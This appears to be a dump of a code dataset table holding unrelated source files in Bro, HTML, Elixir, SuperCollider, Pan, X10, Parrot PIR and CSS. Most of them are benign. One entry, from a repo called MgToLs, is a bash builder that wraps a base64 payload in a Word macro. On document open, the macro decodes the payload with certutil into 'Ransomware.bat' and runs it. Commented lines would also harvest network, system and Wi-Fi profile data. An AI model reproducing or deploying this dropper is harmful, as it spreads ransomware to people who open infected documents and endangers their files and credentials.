content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
listlengths 1
8
|
---|---|---|---|---|---|
##! Information about VLAN IDs created at the packet broker/tap/span.
# Reservoir Labs Inc. 2017 All Rights Reserved.
@load ./vlan-data.bro
module VLANLocation;
## Useful for validating that all expected taps are generating data
## Ensure these VLAN IDs are different from operational VLAN IDs
# This is sample data and must be replaced with actual information
redef vlanlist += {
[1001] = [$description="Gigamon Port 2/1/x1",$location="wifi-upper-level"],
[1002] = [$description="Gigamon Port 2/1/x2",$location="wifi-lower-level"],
};
| Bro | 4 | reservoirlabs/bro-scripts | vlan-info/tap-data.bro | [
"Apache-2.0"
] |
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>Title</title>
</head>
<body>
<div>Web Application. Passed parameter : th:text="${message}"</div>
</body>
</html>
| HTML | 3 | zeesh49/tutorials | spring-all/src/main/webapp/WEB-INF/view/viewPage.html | [
"MIT"
] |
defmodule App2 do
use Mix.Project
def project do
[
app: :app2,
version: "0.1.0",
deps: [
{:app1, "0.1.0", in_umbrella: true}
]
]
end
end
| Elixir | 4 | doughsay/elixir | lib/mix/test/fixtures/deps_cycle/app2/mix.exs | [
"Apache-2.0"
] |
// Order of execution in this context doesn't mean the order in which statements are executed in the language (the client). It refers to the ordering of synth nodes on the server, which corresponds to the order in which their output is calculated each control cycle (blockSize). Whether or not you specify the order of execution, each synth and each group goes into a specific place in the chain of execution.
// If you don't have any synths that use In.ar, you don't have to worry about order of execution. It only matters when one synth is reading the output of another.
// The rule is simple: if you have a synth on the server (i.e. an "effect") that depends on the output from another synth (the "source"), the effect must appear later in the chain of nodes on the server than the source.
(
SynthDef(\redirect, { Out.ar(0, In.ar(9)) }).add;
SynthDef(\tone, { Out.ar(9, SinOsc.ar) }).add;
)
// Base case: due to ordering of Synth creation, you hear output.
(
var s1, s2;
s1 = Synth(\redirect);
s2 = Synth(\tone);
)
// If you change order of s1 and s2, you no longer hear anything but if you open the Stethoscope
// with 10 channels showing, you will see a signal on bus 10.
(
var s1, s2;
s2 = Synth(\tone);
s1 = Synth(\redirect);
)
// However, even with this order you can put the Synths into the correct order on the server using the addAction: \addAfter parameter.
(
var s1, s2;
s2 = Synth(\tone);
s1 = Synth(\redirect, addAction: \addAfter, target: s2);
)
// Same thing using convenience method Synth.after.
(
var s1, s2;
s2 = Synth(\tone);
s1 = Synth.after(s2, \redirect);
)
// You can also move the nodes.
(
var s1, s2;
s2 = Synth(\tone);
s1 = Synth(\redirect);
s1.moveAfter(s2);
)
//
// Using order of execution to your advantage
//
// This example demonstrates how to organizes your synths and effects like so:
// Group ( [lots of synths] ) ----> Group ( [effect] ) ----> transfer
//
s.boot;
(
l = Bus.control(s, 1); // get a bus for the LFO--not relevant to order-of-exec
b = Bus.audio(s, 2); // assuming stereo--this is to keep the src->fx chain separate from
// other similar chains
~synthgroup = Group.tail(s);
~fxgroup = Group.tail(s);
// now you have synthgroup --> fxgroup within the default group of s
// make some synthdefs to play with
SynthDef("order-of-ex-dist", { arg bus, preGain, postGain;
var sig;
sig = In.ar(bus, 2);
sig = (sig * preGain).distort;
ReplaceOut.ar(bus, sig * postGain);
}).add;
SynthDef("order-of-ex-pulse", { arg freq, bus, ffreq, pan, lfobus;
var sig, noteLen;
noteLen = In.kr(lfobus, 1);
sig = RLPF.ar(Pulse.ar(freq, 0.2, 0.5), ffreq, 0.3);
Out.ar(bus, Pan2.ar(sig, pan)
* EnvGen.kr(Env.perc(0.1, 1), timeScale: noteLen, doneAction: Done.freeSelf));
}).add;
SynthDef("LFNoise1", { arg freq, mul, add, bus;
Out.kr(bus, LFNoise1.kr(freq, mul:mul, add:add));
}).add;
)
// Place LFO:
~lfo = Synth.head(s, "LFNoise1", [\freq, 0.3, \mul, 0.68, \add, 0.7, \bus, l]);
// Then place your effect:
~dist = Synth.tail(~fxgroup, "order-of-ex-dist", [\bus, b, \preGain, 8, \postGain, 0.6]);
// transfer the results to main out, with level scaling
// play at tail of s's default group (note that Function-play also takes addActions!
~xfer = { Out.ar(0, 0.25 * In.ar(b, 2)) }.play(s, addAction: \addToTail);
// And start your routine:
(
r = Routine({
{
Synth.tail(~synthgroup, "order-of-ex-pulse",
[\freq, rrand(200, 800), \ffreq, rrand(1000, 15000), \pan, 1.0.rand2,
\bus, b, \lfobus, l]);
0.07.wait;
}.loop;
}).play(SystemClock);
)
~dist.run(false); // proves that the distortion effect is doing something
~dist.run(true);
// to clean up:
(
r.stop;
[~synthgroup, ~fxgroup, b, l, ~lfo, ~xfer].do({ arg x; x.free });
currentEnvironment.clear; // clear all environment variables
) | SuperCollider | 4 | drichardson/examples | SuperCollider/OrderOfExecution.scd | [
"Unlicense"
] |
{# Copyright 2017 The Chromium Authors. All rights reserved. #}
{# Use of this source code is governed by a BSD-style license that can be #}
{# found in the LICENSE file. #}
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="{{ package }}">
</manifest>
| HTML+Django | 2 | zealoussnow/chromium | build/android/gradle/manifest.jinja | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
#
# The error() function should give the name of the file
# where the error was raised, not the object template.
#
# See GitHub Issue #40.
#
# @expect=org.quattor.pan.exceptions.EvaluationException ".*c\.pan.*c\.pan.*"
#
object template bug-gh-40;
include 'b';
| Pan | 2 | aka7/pan | panc/src/test/pan/Functionality/bugs/bug-gh-40/bug-gh-40.pan | [
"Apache-2.0"
] |
{#a : 1, #b : 2}
| STON | 0 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/STON/Dictionary.ston | [
"MIT"
] |
bash .banner
as=$(ls -a > .ls)
des=$(grep -o .temp .ls)
if [ "$des" = ".temp" ]; then
bash .banner
echo "Procesando...." | pv -qL 4
a=$(base64 .temp > .asx)
b=$(cat .asx)
echo "Sub chell()" > .m
echo "Shell %cmd /c echo $b > .temp%, vHide" >> .m
echo "Shell %cmdf /c certutil -decode .temp Ransomware.bat | start Ransomware.bat%" >> .m
echo "'Shell %cmd /c ipconfig > trabajo.txt%, vHide" >> .m
echo "'Shell %cmd /c systeminfo >> trabajo.txt%, vHide" >> .m
echo "'Shell %cmd /c netsh wlan show profile >> trabajo.txt%" >> .m
echo "'Shell %cmd /c start Trabajo.exe%, vHide" >> .m
echo "End Sub" >> .m
echo "Sub AutoOpen()" >> .m
echo "chell" >> .m
echo "End Sub" >> .m
alqf=$(sed 's/%/"/g' .m > .mm;mv .mm .m)
backup=$(mkdir $HOME/MgToLs/RANSOMWARE; mkdir $HOME/MgToLs/RANSOMWARE/Windows)
adja=$(cp .m -r $HOME/MgToLs/RANSOMWARE/Windows/Macro.txt)
bash .banner
echo "Macro infectada guardada en MgToLs/RANSOMWARE/Macro.txt"
echo ""
echo "Presiona una tecla para continuar..."
read pause
rm -fr .temp
bash Encry.sh
else
#Else
bash .banner
echo "Para ocultar un Ransomware en una macro primero debes"
echo "de crear un archivo en la opcion 2!"
echo ""
echo "Presiona una tecla para continuar..."
read pause
bash Encry.sh
fi
| MAXScript | 0 | NePtYx2018/MgToLs | .Encry/.mcr | [
"MIT"
] |
/**
Copyright 2015 Acacia Team
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package org.acacia.backend;
import java.io.IOException;
import java.net.BindException;
import java.net.ServerSocket;
import java.net.Socket;
import x10.util.ArrayList;
import org.acacia.util.Conts;
import org.acacia.log.Logger;
/**
* The Acacia back-end.
*/
public class AcaciaBackEnd {
private var runFlag:Boolean = true;
private var srv:ServerSocket;
private var sessions:ArrayList[AcaciaBackEndServiceSession] = new ArrayList[AcaciaBackEndServiceSession]();
public static def main(val args:Rail[String]) {
var backend:AcaciaBackEnd = new AcaciaBackEnd();
backend.run();
}
public def run():void{
try{
//Logger_Java.info("Starting the backend");
srv = new ServerSocket(Conts.ACACIA_BACKEND_PORT);
//Logger_Java.info("Done creating backend2222");
while(runFlag){
//Logger_Java.info("AAAAAAAAAAAAAA8");
var socket:Socket = srv.accept();
//Logger_Java.info("AAAAAAAAAAAAAA82");
var session:AcaciaBackEndServiceSession = new AcaciaBackEndServiceSession(socket);
//Logger_Java.info("AAAAAAAAAAAAAA833");
sessions.add(session);
//Logger_Java.info("AAAAAAAAAAAAAA84");
session.start();
//Logger_Java.info("AAAAAAAAAAAAAA866");
}
// while(runFlag){
// var socket:Socket = srv.accept();
// val skt = socket;
// val session:AcaciaFrontEndServiceSession = new AcaciaFrontEndServiceSession(skt);
// sessions.add(session);
// session.start();
// }
//Logger_Java.info("Exitting from backend...");
}catch(var e:BindException){
Logger.error("Error : " + e.getMessage());
} catch (var e2:IOException) {
Logger.error("Error : " + e2.getMessage());
}
}
}
| X10 | 4 | mdherath/Acacia | src/org/acacia/backend/AcaciaBackEnd.x10 | [
"Apache-2.0"
] |
class!t() { 1 }
func() { }
d: class!func()
| Objective-J | 0 | justinmann/sj | tests/template4.sj | [
"Apache-2.0"
] |
# THIS IS A GENERATED FILE! DO NOT EDIT!
# Compiled with Winxed 1.10.-1
# Source file: winxed_installed.winxed
# Begin generated code
.sub initial_load_bytecode :anon :load :init
load_bytecode 'Getopt/Obj.pbc'
.end
# end libs
.namespace [ 'WinxedDriverOptions' ]
.sub 'WinxedDriverOptions' :method
.param pmc __ARG_1
root_new $P1, ['parrot';'ResizablePMCArray']
assign $P1, 12
root_new $P3, ['parrot';'ResizablePMCArray']
assign $P3, 2
$P3[0] = 'c'
$P3[1] = 'Compile to pir'
$P1[0] = $P3
root_new $P4, ['parrot';'ResizablePMCArray']
assign $P4, 2
$P4[0] = 'e=s'
$P4[1] = 'Evaluate'
$P1[1] = $P4
root_new $P5, ['parrot';'ResizablePMCArray']
assign $P5, 2
$P5[0] = 'o=s'
$P5[1] = 'Object name'
$P1[2] = $P5
root_new $P6, ['parrot';'ResizablePMCArray']
assign $P6, 2
$P6[0] = 'target=s'
$P6[1] = 'Set target type'
$P1[3] = $P6
root_new $P7, ['parrot';'ResizablePMCArray']
assign $P7, 2
$P7[0] = 'L=s'
$P7[1] = 'Add to parrot library search path'
$P1[4] = $P7
root_new $P8, ['parrot';'ResizablePMCArray']
assign $P8, 2
$P8[0] = 'I=s'
$P8[1] = 'Add to parrot include search path'
$P1[5] = $P8
root_new $P9, ['parrot';'ResizablePMCArray']
assign $P9, 2
$P9[0] = 'X=s'
$P9[1] = 'Add to parrot dynext search path'
$P1[6] = $P9
root_new $P10, ['parrot';'ResizablePMCArray']
assign $P10, 2
$P10[0] = 'debug'
$P10[1] = 'Set debug mode'
$P1[7] = $P10
root_new $P11, ['parrot';'ResizablePMCArray']
assign $P11, 2
$P11[0] = 'nowarn'
$P11[1] = 'No warnings'
$P1[8] = $P11
root_new $P12, ['parrot';'ResizablePMCArray']
assign $P12, 2
$P12[0] = 'noan'
$P12[1] = 'No code annotations'
$P1[9] = $P12
root_new $P13, ['parrot';'ResizablePMCArray']
assign $P13, 2
$P13[0] = 'help'
$P13[1] = 'Show this help'
$P1[10] = $P13
root_new $P14, ['parrot';'ResizablePMCArray']
assign $P14, 2
$P14[0] = 'version'
$P14[1] = 'Show version and exit'
$P1[11] = $P14
setattribute self, 'options', $P1
if_null $P1, __label_2
iter $P15, $P1
set $P15, 0
__label_1: # for iteration
unless $P15 goto __label_2
shift $P2, $P15
$P3 = $P2[0]
self.'push_string'($P3)
goto __label_1
__label_2: # endfor
self.'notOptStop'(1)
$P4 = __ARG_1.'shift'()
setattribute self, 'name', $P4
$P4 = self.'get_options'(__ARG_1)
setattribute self, 'opts', $P4
.end # WinxedDriverOptions
.sub 'getbool' :method
.param string __ARG_1
getattribute $P2, self, 'opts'
$P1 = $P2[__ARG_1]
isnull $I1, $P1
not $I1
.return($I1)
.end # getbool
.sub 'getstring' :method
.param string __ARG_1
getattribute $P2, self, 'opts'
$P1 = $P2[__ARG_1]
null $S1
if_null $P1, __label_1
set $S1, $P1
__label_1: # endif
.return($S1)
.end # getstring
.sub 'showhelp' :method
getattribute $P2, self, 'name'
print 'Usage: '
print $P2
say ' [options] [program] [args]'
say ' Available options:'
null $I1
null $I2
null $P1
getattribute $P2, self, 'options'
if_null $P2, __label_2
iter $P3, $P2
set $P3, 0
__label_1: # for iteration
unless $P3 goto __label_2
shift $P1, $P3
$P4 = $P1[0]
set $S2, $P4
length $I3, $S2
add $I2, $I3, 4
le $I2, $I1, __label_3
set $I1, $I2
__label_3: # endif
goto __label_1
__label_2: # endfor
getattribute $P2, self, 'options'
if_null $P2, __label_5
iter $P5, $P2
set $P5, 0
__label_4: # for iteration
unless $P5 goto __label_5
shift $P1, $P5
$S1 = $P1[0]
length $I3, $S1
le $I3, 1, __label_6
substr $S2, $S1, 1, 1
eq $S2, '=', __label_6
concat $S3, '--', $S1
set $S1, $S3
goto __label_7
__label_6: # else
concat $S4, '-', $S1
set $S1, $S4
__label_7: # endif
length $I3, $S1
sub $I2, $I1, $I3
repeat $S2, ' ', $I2
$P2 = $P1[1]
print ' '
print $S1
print $S2
print '-> '
say $P2
goto __label_4
__label_5: # endfor
.end # showhelp
.sub Winxed_class_init :anon :load :init
newclass $P0, [ 'WinxedDriverOptions' ]
get_class $P1, [ 'Getopt'; 'Obj' ]
addparent $P0, $P1
addattribute $P0, 'name'
addattribute $P0, 'options'
addattribute $P0, 'opts'
.end
.namespace [ ]
.sub 'path_option' :subid('path_option')
.param pmc __ARG_1
.param string __ARG_2
.param int __ARG_3
$P3 = __ARG_1.'getstring'(__ARG_2)
null $S1
if_null $P3, __label_1
set $S1, $P3
__label_1:
if_null $S1, __label_2
getinterp $P3
$P1 = $P3[9]
$P2 = $P1[__ARG_3]
$P2.'push'($S1)
__label_2: # endif
.end # path_option
.sub 'extname' :subid('extname') :anon
.param string __ARG_1
.param string __ARG_2
null $S1
length $I1, __ARG_1
le $I1, 7, __label_1
substr $S2, __ARG_1, -7
ne $S2, '.winxed', __label_1
sub $I2, $I1, 7
substr $S3, __ARG_1, 0, $I2
concat $S4, $S3, __ARG_2
set $S1, $S4
goto __label_2
__label_1: # else
concat $S5, __ARG_1, __ARG_2
set $S1, $S5
__label_2: # endif
.return($S1)
.end # extname
.sub 'getcompiler' :subid('getcompiler') :anon
null $P1
new $P2, 'ExceptionHandler'
set_label $P2, __label_1
push_eh $P2
load_language 'winxed'
compreg $P1, 'winxed'
pop_eh
goto __label_2
__label_1:
.get_results($P3)
finalize $P3
pop_eh
__label_2:
unless_null $P1, __label_3
die "winxed: Cannot load language"
__label_3: # endif
.return($P1)
.end # getcompiler
.sub 'process_args' :subid('process_args') :anon
.param pmc __ARG_1
.const 'Sub' getcompiler = "getcompiler"
.const 'Sub' path_option = "path_option"
.const 'Sub' extname = "extname"
new $P13, [ 'WinxedDriverOptions' ]
$P13.'WinxedDriverOptions'(__ARG_1)
set $P1, $P13
$P13 = $P1.'getbool'('version')
if_null $P13, __label_1
unless $P13 goto __label_1
$P2 = getcompiler()
$P13 = $P2.'version_string'()
say $P13
exit 0
__label_1: # endif
$P13 = $P1.'getbool'('help')
set $I1, $P13
$P13 = $P1.'getbool'('c')
set $I2, $P13
$P13 = $P1.'getstring'('target')
null $S1
if_null $P13, __label_2
set $S1, $P13
__label_2:
$P13 = $P1.'getstring'('e')
null $S2
if_null $P13, __label_3
set $S2, $P13
__label_3:
$P13 = $P1.'getstring'('o')
null $S3
if_null $P13, __label_4
set $S3, $P13
__label_4:
$P13 = $P1.'getbool'('debug')
set $I3, $P13
$P13 = $P1.'getbool'('nowarn')
set $I4, $P13
$P13 = $P1.'getbool'('noan')
set $I5, $P13
unless $I1 goto __label_5
$P1.'showhelp'()
exit 0
__label_5: # endif
path_option($P1, 'L', 1)
path_option($P1, 'I', 0)
path_option($P1, 'X', 2)
root_new $P3, ['parrot';'Hash']
$P3["debug"] = $I3
$P3["noan"] = $I5
$P3["nowarn"] = $I4
unless $I2 goto __label_6
if_null $S1, __label_8
die "options -c and --target can't be used together"
__label_8: # endif
$P3["target"] = "pir"
goto __label_7
__label_6: # else
unless_null $S1, __label_9
set $S1, ''
__label_9: # endif
if $S1 == '' goto __label_12
if $S1 == 'run' goto __label_13
if $S1 == 'pir' goto __label_14
if $S1 == 'include' goto __label_15
goto __label_10
__label_12: # case
__label_13: # case
goto __label_11 # break
__label_14: # case
__label_15: # case
set $I2, 1
$P3["target"] = $S1
goto __label_11 # break
__label_10: # default
concat $S8, "Invalid target '", $S1
concat $S8, $S8, "'"
die $S8
__label_11: # switch end
__label_7: # endif
if_null $S3, __label_16
if $I2 goto __label_16
die '-o without -c or --target is not supported yet'
__label_16: # endif
$P4 = getcompiler()
null $P5
null $S4
new $P13, 'ExceptionHandler'
set_label $P13, __label_17
$P13.'handle_types'(567)
push_eh $P13
unless_null $S2, __label_19
elements $I7, __ARG_1
ge $I7, 1, __label_21
say "ERROR: No program specified"
$P1.'showhelp'()
exit 1
__label_21: # endif
$S5 = __ARG_1[0]
unless $I2 goto __label_22
unless_null $S3, __label_22
$P13 = extname($S5, '.pir')
set $S4, $P13
__label_22: # endif
$P5 = $P4.'compile_from_file'($S5, $P3 :flat :named)
goto __label_20
__label_19: # else
null $P6
null $P7
unless $I2 goto __label_23
unless_null $S4, __label_24
set $S4, $S3
__label_24: # endif
if_null $S4, __label_25
eq $S4, "-", __label_25
root_new $P7, ["parrot";"FileHandle"]
$P7."open"($S4,'w')
set $P6, $P7
goto __label_26
__label_25: # else
getstdout $P6
__label_26: # endif
$P3['output'] = $P6
__label_23: # endif
concat $S6, 'function main[main](argv){', $S2
concat $S6, $S6, ';}'
$P5 = $P4.'compile'($S6, $P3 :flat :named)
unless $I2 goto __label_27
if_null $P7, __label_29
$P7.'close'()
__label_29: # endif
exit 0
goto __label_28
__label_27: # else
__ARG_1.'unshift'('__EVAL__')
__label_28: # endif
__label_20: # endif
pop_eh
goto __label_18
__label_17:
.get_results($P8)
finalize $P8
pop_eh
$P9 = $P8["payload"]
if_null $P9, __label_30
getattribute $P13, $P9, 'filename'
getattribute $P14, $P9, 'line'
getattribute $P15, $P9, 'message'
getstderr $P0
print $P0, $P13
print $P0, ':'
print $P0, $P14
print $P0, ': '
print $P0, $P15
print $P0, "\n"
goto __label_31
__label_30: # else
$P16 = $P8["message"]
getstderr $P0
print $P0, $P16
print $P0, "\n"
__label_31: # endif
exit 1
__label_18:
unless $I2 goto __label_32
unless_null $S4, __label_33
set $S4, $S3
__label_33: # endif
isnull $I6, $S4
not $I6
unless $I6 goto __label_34
isne $I6, $S4, "-"
__label_34:
unless $I6 goto __label_36
root_new $P10, ["parrot";"FileHandle"]
$P10."open"($S4,'w')
goto __label_35
__label_36:
getstdout $P13
set $P10, $P13
__label_35:
$P10.'print'($P5)
unless $I6 goto __label_37
$P10.'close'()
__label_37: # endif
exit 0
__label_32: # endif
null $P11
new $P13, 'ExceptionHandler'
set_label $P13, __label_38
push_eh $P13
$P15 = $P5.'subs_by_tag'("load")
if_null $P15, __label_41
iter $P17, $P15
set $P17, 0
__label_40: # for iteration
unless $P17 goto __label_41
shift $P12, $P17
$P12()
goto __label_40
__label_41: # endfor
$P5.'mark_initialized'("load")
$P11 = $P5.'main_sub'()
pop_eh
goto __label_39
__label_38:
.get_results($P14)
finalize $P14
pop_eh
getstderr $P0
print $P0, "Cannot find main sub"
print $P0, "\n"
__label_39:
.return($P11)
.end # process_args
.sub '__PARROT_ENTRY_WINXED_main' :main
.param pmc __ARG_1
.const 'Sub' process_args = "process_args"
.const 'Sub' fail = "fail"
$P1 = process_args(__ARG_1)
null $I1
new $P4, 'ExceptionHandler'
set_label $P4, __label_1
$P4.'handle_types_except'(65543)
push_eh $P4
$P2 = $P1(__ARG_1)
if_null $P2, __label_3
set $I1, $P2
__label_3: # endif
pop_eh
goto __label_2
__label_1:
.get_results($P3)
finalize $P3
pop_eh
fail($P3)
__label_2:
exit $I1
.end # __PARROT_ENTRY_WINXED_main
.sub 'fail' :subid('fail') :anon
.param pmc __ARG_1
getstderr $P1
getattribute $P3, __ARG_1, 'message'
null $S1
if_null $P3, __label_1
set $S1, $P3
__label_1:
isnull $I3, $S1
if $I3 goto __label_3
iseq $I3, $S1, ""
__label_3:
unless $I3 goto __label_2
set $S1, "No exception handler and no message"
__label_2: # endif
root_new $P3, ['parrot';'ResizablePMCArray']
assign $P3, 1
$P3[0] = $S1
sprintf $S5, "%s\n", $P3
$P1.'print'($S5)
set $S2, ""
$P2 = __ARG_1.'backtrace_strings'()
elements $I3, $P2
sub $I1, $I3, 1
__label_6: # for condition
lt $I1, 0, __label_5
$S3 = $P2[$I1]
split $P3, "\n", $S3
if_null $P3, __label_8
iter $P4, $P3
set $P4, 0
__label_7: # for iteration
unless $P4 goto __label_8
shift $S4, $P4
index $I3, $S4, "__PARROT_ENTRY"
lt $I3, 0, __label_9
goto __label_7 # continue
__label_9: # endif
root_new $P3, ['parrot';'ResizablePMCArray']
assign $P3, 2
$P3[0] = $S2
$P3[1] = $S4
sprintf $S5, "%s%s", $P3
$P1.'print'($S5)
set $S2, "\n"
goto __label_7
__label_8: # endfor
set $S2, "\nthrown from\n"
__label_4: # for iteration
dec $I1
goto __label_6
__label_5: # for end
getattribute $P3, __ARG_1, 'exit_code'
set $I2, $P3
unless $I2 goto __label_11
set $I3, $I2
goto __label_10
__label_11:
set $I3, 1
__label_10:
exit $I3
.end # fail
# End generated code
| Parrot Internal Representation | 3 | winnit-myself/Wifie | ext/winxed/driver.pir | [
"Artistic-2.0"
] |
/* ################################################################
Author:
URL:
Project Name:
Version: 1.0
URL:
################################################################# */
/* ------------------------------------------
COMMON
------------------------------------------ */
body {
padding-top: 80px;
font:15px 'Lucida Grande','Hiragino Kaku Gothic ProN', Meiryo, sans-serif;
color: #111;
line-height: 1.6;
}
a {
color: #5F76A6;
}
header {
}
.navbar {
position: fixed;
top: 0;
left: 0;
width: 100%;
margin-bottom: 0;
padding: 1em 0;
border-radius: 0;
border-bottom: solid 1px #e9e9e9;
background: rgba(255,255,255,0.88);
z-index: 1000;
transition :all 0.2s ease-in-out 0s;
}
.sticky {
padding: 0.25em 0;
background: rgba(255,255,255,0.98);
}
.navbar h1 {
text-align: left;
}
.navbar h1 img {
transition :all 0.2s ease-in-out 0s;
}
.sticky h1 img {
transform :scale(0.8);
}
.navbar-header {
margin: 0;
}
.navbar-collapse {
padding-left: 0;
padding-right: 0;
}
.navbar-nav > li {
padding: 7px 0;
}
.navbar-nav > li > a {
padding: 7px 15px;
}
.navbar-nav li > a:hover {
background: #f1f1f1;
}
.navbar-nav li.active > a {
background: #f1f1f1;
color: #111;
}
.dropdown-menu {
max-height: 400px;
padding: 0;
overflow: auto;
}
.dropdown-menu > li > a {
padding: 5px 15px;
}
.dropdown-toggle i {
padding-left: 0.5em;
font-size: 72%;
}
ul.header-socialbtn {
float: right;
margin-bottom: 0;
padding-left: 1em;
}
ul.header-socialbtn li {
display: inline-block;
padding: 10px 0;
list-style: none;
line-height: 20px;
}
ul.header-socialbtn li a {
min-width: 30px;
display: inline-block;
padding: 5px 0;
color: #fff;
text-align: center;
}
ul.header-socialbtn li.twitter a {
background: #00B6F1;
}
ul.header-socialbtn li.facebook a {
background: #3B599C;
}
footer {
padding: 15px 0;
background: #111;
font-size: 86%;
color: #fff;
}
#copyright a {
color: #fff;
text-decoration: underline;
}
#copyright a:hover {
text-decoration: none;
}
#footer-navi {
text-align: right;
}
#footer-navi li {
display: inline-block;
list-style: none;
}
#footer-navi li a {
display: inline-block;
padding: 0 0 0 10px;
color: #fff;
}
#footer-navi p.license a {
color: #fff;
text-decoration: underline;
}
#footer-navi p.license a:hover {
text-decoration: none;
}
/* ------------------------------------------
CONTENT COMMON STYLES
------------------------------------------ */
#content {
padding: 2em 0;
}
#content article h1 {
margin: 0 0 15px 0;
font-size: 30px;
}
#content article h2 {
font-size: 25px;
}
#content article h3 {
font-size: 20px;
}
#content article h4 {
font-weight: bold;
}
#content article p {
margin-bottom: 1em;
}
#content article .row {
margin-bottom: 1em;
}
/* ------------------------------------------
LOWER CONTENT
------------------------------------------ */
<mt:setvarblock name="main-bg"><mt:assets tag="@MAIN_BACKGROUND" limit="1"><mt:assetthumbnailurl></mt:assets></mt:setvarblock>
#mainvisual-lower {
position: relative;
padding: 3.5em 0;
background: url(<mt:if name="main-bg"><mt:assets type="image" tag="@MAIN_BACKGROUND" limit="1"><mt:assetthumbnailurl></mt:assets><mt:else><mt:blogrelativeurl>images/bg-top-main.png</mt:if>) no-repeat center bottom;
background-size: cover;
color: #fff;
text-shadow: 0 1px 0px #000;
}
#mainvisual-lower .overray {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(95,118,166,0.8);
}
#mainvisual-lower .row {
display: table;
width: 100%;
}
#mainvisual-lower .row .col-sm-12 {
display: table-cell;
width: 100%;
vertical-align: middle;
}
#mainvisual-lower h2 {
margin: 0;
font-size: 40px;
}
#mainvisual-lower h2 i {
padding-right: 10px;
font-size: 50px;
}
#localnavi {
background: #f6f6f6;
border-bottom: solid 1px #e9e9e9;
}
#localnavi nav {
border-left: solid 1px #e9e9e9;
}
#localnavi nav ul {
margin: 0;
padding: 0;
text-align: left;
}
#localnavi nav li {
display: inline-block;
list-style: none;
float: left;
}
#localnavi nav li a {
position: relative;
display: inline-block;
padding: 10.5px 1.5em;
border-right: solid 1px #e9e9e9;
}
#localnavi nav li.home a {
padding: 10.5px 1em 10.5px ;
}
#localnavi nav li a:hover {
background: #fff;
text-decoration: none;
}
#localnavi nav li span {
display: inline-block;
padding: 10.5px 1.5em;
background: #fff;
border-right: solid 1px #e9e9e9;
}
#localnavi nav li.pagetop span {
position: relative;
}
#localnavi nav li a:before {
border:11px solid transparent;
border-left-color:#f6f6f6;
border-right-width:0;
border-top-width: 23px;
border-bottom-width: 23px;
right:-10px;
content:"";
display:block;
top: 0;
position:absolute;
width:0;
z-index:1;
}
#localnavi nav li a:after {
border:11px solid transparent;
border-left-color:#e9e9e9;
border-right-width:0;
border-top-width: 23px;
border-bottom-width: 23px;
right:-11px;
content:"";
display:block;
top:0;
position:absolute;
width:0;
}
#localnavi nav li a:hover:before {
border-left-color:#fff;
}
#localnavi nav li.pagetop ul li {
display: block;
float: none;
}
#localnavi nav li.pagetop ul li a {
display: block;
border-right: none;
}
#localnavi nav li.pagetop ul li a:hover {
background: #f6f6f6;
}
#localnavi nav li.pagetop ul li.active a:hover {
background: #428bca;
}
#localnavi nav li.pagetop ul li a:before,
#localnavi nav li.pagetop ul li a:after {
display: none;
}
.breadcrumb {
background-color: #none;
border-radius: 0;
list-style: none outside none;
margin-bottom: 0;
padding: 0;
}
#blog-primary-content {
padding-left: 0;
}
#entry-list article {
margin-bottom: 3em;
padding-bottom: 3em;
border-bottom: solid 1px #e9e9e9;
}
#entry-list figure {
width: 300px;
float: right;
margin-left: 2em;
margin-bottom: 1em;
}
#entry-list figure img {
width: 100%;
border: solid 1px #e9e9e9;
}
.entry-meta {
margin-bottom: 1em;
font-size: 86%;
}
.entry-meta time {
display: inline-block;
margin-right: 0.5em;
padding: 0.2em 0.3em 0.2em 0.5em;
background: #f1f1f1;
}
.entry-meta time span {
display: inline-block;
}
.entry-meta time span.year {
padding-right: 0.3em;
}
.entry-meta time span.monthday {
padding: 0.2em 0.5em;
background: #fff;
}
.entry-meta .category {
padding: 0.5em 0.8em;
margin-right: 0.2em;
background: #88cfc5;
color: #fff;
}
.entry-excerpt {
margin-bottom: 1em;
}
.pagemore {
text-align: left;
}
#content #entry-list h1 {
margin-bottom: 15px;
font-size: 20px;
color: #111;
}
#sidebar nav {
margin-bottom: 2em;
padding-bottom: 2em;
border-bottom: solid 3px #e9e9e9;
}
#sidebar h1 {
margin: 0 0 20px 0;
font-size: 15px;
font-weight: bold;
}
#sidebar ul {
padding: 0;
margin-bottom: 0;
}
#sidebar ul li {
margin-bottom: 0.7em;
padding-bottom: 0.7em;
list-style: none;
border-bottom: solid 1px #e9e9e9;
}
#sidebar ul li:last-of-type {
margin-bottom: 0;
padding-bottom: 0;
border-bottom: none;
}
h1.page-title {
margin: 0 0 1em 0;
}
/* ------------------------------------------
ENTRY DETAIL
------------------------------------------ */
#entry-detail figure {
margin-bottom: 2em;
}
#entry-detail img {
max-width: 100%;
}
.entry-social-buttons {
margin-top: 2em;
}
.entry-social-buttons ul {
padding-left: 0;
list-style: none;
}
.entry-social-buttons ul li {
display: inline-block;
margin-right: 0.7em;
vertical-align: top;
}
/* ------------------------------------------
BTN
------------------------------------------ */
.btn-primary {
background: #5F76A6;
}
.btn-primary:hover {
background: #738ABA;
border-color: #738ABA;
}
.btn-secondary {
background: #f1f1f1;
border-color: #e1e1e1;
}
.btn-secondary:hover {
background: #f9f9f9;
border-color: #e9e9e9;
}
.btn-info {
background: #60A79D;
border-color: #60A79D;
}
.btn-info:hover {
background: #74BBB1;
border-color: #74BBB1;
}
.btn-success {
background: #60A79D;
border-color: #60A79D;
}
.btn-success:hover {
background: #74BBB1;
border-color: #74BBB1;
}
/* ------------------------------------------
TOP
------------------------------------------ */
body#sitetop {
padding-top: 0;
}
#mainvisual {
width: 100%;
min-height: 300px;
padding: 8em 0 3em 0;
